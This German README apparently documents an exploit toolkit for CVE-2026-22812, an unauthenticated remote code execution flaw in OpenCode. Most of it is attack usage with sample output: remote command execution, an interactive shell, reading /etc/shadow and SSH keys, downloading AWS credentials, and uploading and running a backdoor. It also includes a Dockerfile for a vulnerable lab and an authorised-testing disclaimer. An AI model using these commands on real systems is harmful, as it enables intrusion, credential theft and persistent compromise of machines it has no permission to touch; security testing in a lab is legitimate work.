
Exploitation-Toolkit für CVE-2026-22812 (OpenCode nicht authentifizierte RCE) mit interaktiver Shell, Ausführung beliebiger Befehle, Datei-Upload/-Download und System-Enumeration für autorisierte Sicherheitstests.
Vollwertiges Exploitation-Toolkit für CVE-2026-22812 – OpenCode Unauthenticated RCE
Das CVE-2026-22812 Exploit-Tool ist ein umfassendes Exploitation-Framework für die OpenCode-Schwachstelle mit nicht authentifizierter Remote-Codeausführung. Dieses Tool bietet mehrere Exploitation-Methoden, darunter interaktive Shell, Dateioperationen und System-Enumeration.
# Repository klonen
git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
cd CVE-2026-22812-exploit
# Abhängigkeiten installieren
pip3 install -r requirements.txt
pip3 install requests urllib3
python3 exploit.py -t http://192.168.1.10:4096 --verify
Ausgabe:
[+] Ziel ist VERWUNDBAR für CVE-2026-22812!
[+] Sitzungs-ID: abc123def456
python3 exploit.py -t http://192.168.1.10:4096 -c "id"
Ausgabe:
[*] Sitzung wird erstellt...
[+] Sitzung erstellt: abc123def456
[+] Ziel ist VERWUNDBAR!
[*] Ausführen: id
[+] Befehl erfolgreich ausgeführt
uid=1000(developer) gid=1000(developer) groups=1000(developer)
python3 exploit.py -t http://192.168.1.10:4096 -i
Interaktive Sitzung:
[+] Sitzung erstellt: abc123def456
[+] Ziel ist VERWUNDBAR!
[*] Wechsel in den interaktiven Shell-Modus
[!] Tippe 'help' für Befehle, 'exit' zum Beenden
developer@target$ whoami
developer
developer@target$ pwd
/home/developer/workspace
developer@target$ ls -la
total 48
drwxr-xr-x 8 developer developer 4096 Jan 16 10:30 .
drwxr-xr-x 3 developer developer 4096 Jan 15 09:20 ..
-rw-r--r-- 1 developer developer 220 Jan 15 09:20 .bash_logout
...
developer@target$ read /etc/hostname
[*] Datei lesen: /etc/hostname
[+] Datei erfolgreich gelesen (10 Bytes)
dev-server-01
developer@target$ exit
[*] Beenden...
# Einzelner Befehl
python3 exploit.py -t http://target:4096 -c "whoami"
# Komplexer Befehl
python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"
# Mehrere Befehle
python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"
# Sensible Dateien lesen
python3 exploit.py -t http://target:4096 -r /etc/passwd
python3 exploit.py -t http://target:4096 -r /etc/shadow
python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa
# Shell-Skript hochladen
python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh
# Binärdatei hochladen
python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload
# Hochladen mit Ausführung
python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"
# Konfiguration herunterladen
python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt
# Anmeldedaten herunterladen
python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt
# Quellcode herunterladen
python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json
# Systeminformationen sammeln
python3 exploit.py -t http://target:4096 --sysinfo
Ausgabe:
{
"hostname": "dev-server-01",
"username": "developer",
"user_id": "uid=1000(developer) gid=1000(developer)",
"current_dir": "/home/developer/workspace",
"kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
"os_release": "Ubuntu 22.04.3 LTS",
"ip_address": "192.168.1.10",
"processes": "..."
}
npm install -g opencode-ai@latestpkill -f opencode# Dockerfile für verwundbares OpenCode
FROM node:18
RUN npm install -g [email protected]
EXPOSE 4096
CMD ["opencode"]
# Erstellen und ausführen
docker build -t opencode-vuln .
docker run -p 4096:4096 opencode-vuln
# Exploit testen
python3 exploit.py -t http://localhost:4096 -i
# Verwundbare Version installieren
npm install -g [email protected]
# OpenCode starten
opencode
# In einem anderen Terminal den Exploit ausführen
python3 exploit.py -t http://localhost:4096 --verify
⚠️ Verwundbare Versionen niemals in der Produktion einsetzen!
SORGFÄLTIG LESEN
Dieses Tool wird NUR für AUTORISIERTE SICHERHEITSTESTS bereitgestellt.
Die Autoren:
Durch die Nutzung dieses Tools stimmst du zu:
NUTZUNG AUF EIGENES RISIKO
⭐ Mit Stern markieren, wenn nützlich! ⭐
Nur für autorisierte Sicherheitstests